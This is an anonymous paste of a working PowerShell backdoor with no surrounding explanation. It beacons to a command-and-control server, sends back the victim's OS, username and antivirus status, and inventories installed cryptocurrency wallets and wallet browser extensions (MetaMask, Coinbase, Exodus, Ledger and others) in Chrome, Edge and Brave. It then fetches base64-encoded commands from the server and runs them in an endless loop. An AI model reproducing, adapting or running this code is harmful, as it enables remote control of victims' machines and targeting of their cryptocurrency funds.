Guest User

3fxufju3.drg

a guest
Jul 5th, 2022
1,083
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. $meta_request = 'Z2V0IC92Mi8yMDgyNzM1MS03ODdmLTRkM2EtODcxYS03YTUwNjA3NjdkMzg/dj12ZXJfMiBodHRwLzEuMQ0KaG9zdDogbXB6dmNzeG5oLmNvbQ0KdXNlci1hZ2VudDogcG9zdG1hbnJ1bnRpbWUvNy4yOS4yDQphY2NlcHQ6ICovKg0KY2FjaGUtY29udHJvbDogbm8tY2FjaGUNCnBvc3RtYW4tdG9rZW46IGNkZWI2Y2JiLWRjYTUtNDMyNi04ZGZmLTNkYTQ3NzlkZTMwZg0KYWNjZXB0LWVuY29kaW5nOiBnemlwLCBkZWZsYXRlLCBicg0KY29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KY29udGVudC1sZW5ndGg6IDANCg0K';
  2. $meta_version = 8748389;
  3. $meta_guid = 91820;
  4. $meta_ip = '54.86.50.139';
  5. $meta_host = 'wmail-endpoint.com';
  6.  
  7. ############################
  8.  
  9. $createdNew = $false;
  10. $mutex = [System.Threading.Mutex]::new($true, "acb2f45f62c34c94bbd6e86734eb01a1", [ref]$createdNew);
  11. if ($createdNew -eq $false) {
  12.     Start-Sleep -Seconds 300;
  13.     return;
  14. }
  15.  
  16. $_headers = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String($meta_request)) -split "`r`n";
  17. $http_request = @{};
  18. $http_headers = @{};
  19.  
  20. $_requestline = $_headers[0] -split ' ';
  21. $http_request.path = $_requestline[1].Replace('%7b', '{').Replace('%7d', '}');
  22.  
  23. for ($i = 1; $i -lt $_headers.Length; $i++) {
  24.     [string[]]$h = $_headers[$i] -split ': ';
  25.     if ($h.Length -lt 2) {
  26.         break;
  27.     }
  28.     $http_headers[$h[0]] = $h[1];
  29. }
  30.  
  31. $session = @{};
  32. $session.id = -1;
  33. $session.update = $true;
  34.  
  35. Add-Type -AssemblyName System.Net.Http
  36. $client = [System.Net.Http.HttpClient]::new();
  37. $client.Timeout = [TimeSpan]::FromMinutes(2);
  38. $client.BaseAddress = [Uri]::new("http://$($meta_host)");
  39. $client.DefaultRequestHeaders.Host = "$(-join ((97..122) | Get-Random -Count (Get-Random -Minimum 5 -Maximum 10) | % {[char]$_})).com";
  40.  
  41. function WMI {
  42.     param (
  43.         $namespace,
  44.         $class
  45.     )
  46.     try {
  47.         return Get-WmiObject -Namespace $namespace -Class $class;
  48.     }
  49.     catch {
  50.     }
  51.     return $null;
  52. }
  53.  
  54. function Get-AvStatus {
  55.     param (
  56.         $av
  57.     )
  58.     $status = "Unknown";
  59.     try {
  60.         $v = [uint32]::Parse($av.productState) -band 0xF000;
  61.         switch ($v) {
  62.             0x0000 { $status = "Disabled" }
  63.             0x1000 { $status = "Enabled" }
  64.             0x2000 { $status = "Snoozed" }
  65.             0x3000 { $status = "Expired" }
  66.         }
  67.     }
  68.     catch {
  69.  
  70.     }
  71.     return "$($av.displayName) ($status)";
  72. }
  73.  
  74. function Get-InstallStatus {
  75.     param (
  76.         $appname
  77.     )
  78.     $versionName = '';
  79.     $active = 0;
  80.     $inactive = 0;
  81.     $rgx = New-Object 'System.Text.RegularExpressions.Regex' '\s?--load-extension=(("[^\r\n"]*")|([^\r\n\s]*))';
  82.     $shell = New-Object -comObject WScript.Shell
  83.     for ($searchPath_index = 0; $searchPath_index -lt $searchPaths.Count; $searchPath_index++) {
  84.         $searchPath = $searchPaths[$searchPath_index];
  85.         if ((Test-Path $searchPath) -eq $false) {
  86.             continue;
  87.         }
  88.         $lnks = Get-ChildItem -Path $searchPath -Filter "*.LNK"
  89.         foreach ($lnk in $lnks) {
  90.             $lnkobj = $shell.CreateShortcut($lnk.FullName);
  91.             $target = $lnkobj.TargetPath;
  92.             if ([string]::IsNullOrEmpty($target)) {
  93.                 continue;
  94.             }
  95.             if ((Test-Path $target) -eq $false) {
  96.                 continue;
  97.             }
  98.             $target = (Resolve-Path -Path $target).Path.ToLower();
  99.             if ($target.EndsWith($appname, 'OrdinalIgnoreCase')) {
  100.                 $enabled = $false;
  101.                 $arguments = $lnkobj.Arguments;
  102.                 if ($null -ne $arguments) {
  103.                     $m = $rgx.Match($arguments);
  104.                     if ($m.Success -eq $true) {
  105.                         $path = $m.Groups[1].Value;
  106.                         $path = $path.Trim('"');
  107.                         $enabled = ((Test-Path $path) -eq $true);
  108.                         if ($enabled) {
  109.                             try {
  110.                                 $versionName = (Select-String -LiteralPath "$path\manifest.json" -Pattern '"version": "(.*)",').Matches.Groups[1].Value;
  111.                             }
  112.                             catch {
  113.                             }
  114.                         }
  115.                     }
  116.                 }
  117.                 if ($enabled) {
  118.                     $active++;
  119.                 }
  120.                 else {
  121.                     $inactive++;
  122.                 }
  123.             }
  124.         }
  125.     }
  126.  
  127.     if (($active -eq 0) -and ($inactive -eq 0)) {
  128.         return $null;
  129.     }
  130.     elseif ($inactive -gt 0) {
  131.         return 'NOK';
  132.     }
  133.     return "OK($versionName)";
  134. }
  135.  
  136.  
  137. $searchPaths = @(
  138.     "$env:USERPROFILE\Desktop",
  139.     "$env:PUBLIC\Desktop",
  140.     "$env:ALLUSERSPROFILE\Microsoft\Windows\Start Menu\Programs",
  141.     "$env:APPDATA\Microsoft\Windows\Start Menu\Programs",
  142.     "$env:APPDATA\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar",
  143.     "$env:USERPROFILE\OneDrive\Desktop"
  144. );
  145.  
  146. $searchEntries = @(
  147.     [pscustomobject]@{
  148.         root    = '%appdata%'
  149.         targets =
  150.         [pscustomobject]@{
  151.             name = 'Exodus-A'
  152.             path = 'Exodus'
  153.         },
  154.         [pscustomobject]@{
  155.             name = 'Atomic-A'
  156.             path = 'Atomic Wallet'
  157.         },
  158.         [pscustomobject]@{
  159.             name = 'Electrum-A'
  160.             path = 'Electrum'
  161.         },
  162.         [pscustomobject]@{
  163.             name = 'Ledger-A'
  164.             path = 'Ledger Live'
  165.         },
  166.         [pscustomobject]@{
  167.             name = 'Jaxx-A'
  168.             path = 'Jaxx Liberty'
  169.         },
  170.         [pscustomobject]@{
  171.             name = 'com.liberty.jaxx-A'
  172.             path = 'com.liberty.jaxx'
  173.         },
  174.         [pscustomobject]@{
  175.             name = 'Guarda-A'
  176.             path = 'Guarda'
  177.         },
  178.         [pscustomobject]@{
  179.             name = 'Armory-A'
  180.             path = 'Armory'
  181.         },
  182.         [pscustomobject]@{
  183.             name = 'DELTA-A'
  184.             path = 'DELTA'
  185.         },
  186.         [pscustomobject]@{
  187.             name = 'TREZOR-A'
  188.             path = 'TREZOR Bridge'
  189.         },
  190.         [pscustomobject]@{
  191.             name = 'Bitcoin-A'
  192.             path = 'Bitcoin'
  193.         },
  194.         [pscustomobject]@{
  195.             name = 'binance-A'
  196.             path = 'binance'
  197.         }
  198.     },
  199.     [pscustomobject]@{
  200.         root    = '%localappdata%'
  201.         targets =
  202.         [pscustomobject]@{
  203.             name = 'Blockstream-A'
  204.             path = 'Blockstream Green'
  205.         },
  206.         [pscustomobject]@{
  207.             name = 'Coinomi-A'
  208.             path = 'Coinomi'
  209.         }
  210.     },
  211.     [pscustomobject]@{
  212.         root    = '%localappdata%\Google\Chrome\User Data\Default\Extensions'
  213.         targets =
  214.         [pscustomobject]@{
  215.             name = 'Metamask-C'
  216.             path = 'nkbihfbeogaeaoehlefnkodbefgpgknn'
  217.         },
  218.         [pscustomobject]@{
  219.             name = 'MEWcx-C'
  220.             path = 'nlbmnnijcnlegkjjpcfjclmcfggfefdm'
  221.         },
  222.         [pscustomobject]@{
  223.             name = 'Coin98-C'
  224.             path = 'aeachknmefphepccionboohckonoeemg'
  225.         },
  226.         [pscustomobject]@{
  227.             name = 'Binance-C'
  228.             path = 'fhbohimaelbohpjbbldcngcnapndodjp'
  229.         },
  230.         [pscustomobject]@{
  231.             name = 'Jaxx-C'
  232.             path = 'cjelfplplebdjjenllpjcblmjkfcffne'
  233.         },
  234.         [pscustomobject]@{
  235.             name = 'Coinbase-C'
  236.             path = 'hnfanknocfeofbddgcijnmhnfnkdnaad'
  237.         }
  238.     },
  239.     [pscustomobject]@{
  240.         root    = '%localappdata%\Microsoft\Edge\User Data\Default\Extensions'
  241.         targets =
  242.         [pscustomobject]@{
  243.             name = 'Metamask-E'
  244.             path = 'ejbalbakoplchlghecdalmeeeajnimhm'
  245.         },
  246.         [pscustomobject]@{
  247.             name = 'Coinomi-E'
  248.             path = 'gmcoclageakkbkbbflppkbpjcbkcfedg'
  249.         }
  250.     },
  251.     [pscustomobject]@{
  252.         root    = '%localappdata%\BraveSoftware\Brave-Browser\User Data\Default\Extensions'
  253.         targets =
  254.         [pscustomobject]@{
  255.             name = 'Metamask-B'
  256.             path = 'nkbihfbeogaeaoehlefnkodbefgpgknn'
  257.         },
  258.         [pscustomobject]@{
  259.             name = 'MEWcx-B'
  260.             path = 'nlbmnnijcnlegkjjpcfjclmcfggfefdm'
  261.         },
  262.         [pscustomobject]@{
  263.             name = 'Coin98-B'
  264.             path = 'aeachknmefphepccionboohckonoeemg'
  265.         },
  266.         [pscustomobject]@{
  267.             name = 'Binance-B'
  268.             path = 'fhbohimaelbohpjbbldcngcnapndodjp'
  269.         },
  270.         [pscustomobject]@{
  271.             name = 'Jaxx-B'
  272.             path = 'cjelfplplebdjjenllpjcblmjkfcffne'
  273.         },
  274.         [pscustomobject]@{
  275.             name = 'Coinbase-B'
  276.             path = 'hnfanknocfeofbddgcijnmhnfnkdnaad'
  277.         }
  278.     }
  279. );
  280.  
  281. function Get-Apps {
  282.     $results = New-Object Collections.Generic.List[string];
  283.  
  284.     $appEntries = @('chrome.exe', 'brave.exe', 'msedge.exe');
  285.     foreach ($appEntry in $appEntries) {
  286.         $status = Get-InstallStatus $appEntry;
  287.         if ($null -eq $status) {
  288.             continue;
  289.         }
  290.         $results.Add("$([System.IO.Path]::GetFileNameWithoutExtension($appEntry))-$($status)");
  291.     }
  292.  
  293.     foreach ($entry in $searchEntries) {
  294.         $rootdir = [System.Environment]::ExpandEnvironmentVariables($entry.root);
  295.         foreach ($target in $entry.targets) {
  296.             if ((Test-Path -Path (Join-Path -Path $rootdir -ChildPath $target.path))) {
  297.                 $results.Add($target.name)
  298.             }
  299.         }
  300.     }
  301.     return [string]::Join(', ', $results);
  302. }
  303. function Get-UserInfo {
  304.     $os = WMI "root\cimv2" "Win32_OperatingSystem";
  305.     $avs = New-Object 'Collections.Generic.List[string]';
  306.     WMI "root\SecurityCenter" "AntiVirusProduct" | ForEach-Object { $avs.Add((Get-AvStatus $_)) }
  307.     WMI "root\SecurityCenter2" "AntiVirusProduct" | ForEach-Object { $avs.Add((Get-AvStatus $_)) }
  308.  
  309.     $info = @{
  310.         os   = "$($os.Caption) ($($os.OSArchitecture))";
  311.         cm   = "$($env:USERDOMAIN)\$($env:USERNAME)";
  312.         av   = "$([string]::Join(', ', $avs))";
  313.         apps = [string](Get-Apps);
  314.         ip   = $meta_ip;
  315.         ver  = (($http_request.path | Select-String -Pattern '\?v=(.*)&?').Matches.Groups[1].Value);
  316.     }
  317.     return ConvertTo-Json $info -Compress;
  318. }
  319.  
  320. function Get-UserID {
  321.     if ($session.id -ne -1) {
  322.         return $session.id;
  323.     }
  324.     $ms = New-Object 'System.IO.MemoryStream'
  325.     $ms.Write([BitConverter]::GetBytes([uint32]$meta_version), 0, 4);
  326.     $ms.WriteByte(1);
  327.     $ms.Write([BitConverter]::GetBytes([uint32]$meta_guid), 0, 4);
  328.     $data = $ms.ToArray();
  329.     $ms.Dispose();
  330.    
  331.     $r = $client.PostAsync('', [Net.Http.ByteArrayContent]::new($data)).GetAwaiter().GetResult();
  332.     $sts = $r.EnsureSuccessStatusCode();
  333.     $res = $r.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult();
  334.     $r.Dispose();
  335.  
  336.     if ($res.Length -ne 4) {
  337.         throw "";
  338.     }
  339.     $session.id = [BitConverter]::ToInt32($res, 0);
  340.     return $session.id;
  341. }
  342. function Get-Updates {
  343.     $uid = Get-UserId;
  344.     $ms = New-Object 'System.IO.MemoryStream'
  345.     $ms.Write([BitConverter]::GetBytes([uint32]$meta_version), 0, 4);
  346.     $ms.WriteByte(2);
  347.     $ms.Write([BitConverter]::GetBytes([int]$uid), 0, 4);
  348.     if ($session.update) {
  349.         $_userinfo = '';
  350.         try {
  351.             $_userinfo = Get-UserInfo;
  352.         }
  353.         catch {
  354.             $_userinfo = ConvertTo-Json @{
  355.                 error  = $_.Exception.Message;
  356.                 line   = $_.Exception.Line;
  357.                 offset = $_.Exception.Offset;
  358.             }
  359.         }
  360.         [byte[]]$userinfo = [Text.Encoding]::UTF8.GetBytes($_userinfo);
  361.         $ms.Write($userinfo, 0, $userinfo.Length);
  362.     }
  363.     $data = $ms.ToArray();
  364.     $ms.Dispose();
  365.  
  366.     $r = $client.PostAsync('', [Net.Http.ByteArrayContent]::new($data)).GetAwaiter().GetResult();
  367.     $sts = $r.EnsureSuccessStatusCode();
  368.     $res = $r.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult();
  369.     $r.Dispose();
  370.  
  371.     if ($res.Length -lt 4) {
  372.         throw "";
  373.     }
  374.     $f = [BitConverter]::ToUInt32($res, 0);
  375.     $session.update = ($f -band 0x1) -eq 1;
  376.     if ($res.Length -gt 4) {
  377.         return ([Text.Encoding]::UTF8.GetString($res, 4, $res.Length - 4));
  378.     }
  379.     return $null;
  380. }
  381.  
  382. function Set-Updates {
  383.     param (
  384.         [string]
  385.         $command
  386.     )
  387.     $lines = $command -split "`r`n";
  388.     foreach ($line in $lines) {
  389.         $job = Start-Job -ScriptBlock ([Scriptblock]::Create([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($line))))
  390.         Wait-Job -Job $job -Timeout 10
  391.     }
  392. }
  393.  
  394. $retry = 0;
  395. [byte[]]$res = $null;
  396. while ($retry -lt 10) {
  397.     try {
  398.         $updates = Get-Updates;
  399.         $retry = 0;
  400.         if ($null -ne $updates) {
  401.             Set-Updates $updates;
  402.         }
  403.     }
  404.     catch {
  405.         $retry++;
  406.         Start-Sleep -Seconds 10;
  407.         continue;
  408.     }
  409.     Start-Sleep -Seconds 30;
  410. }
Add Comment
Please, Sign In to add comment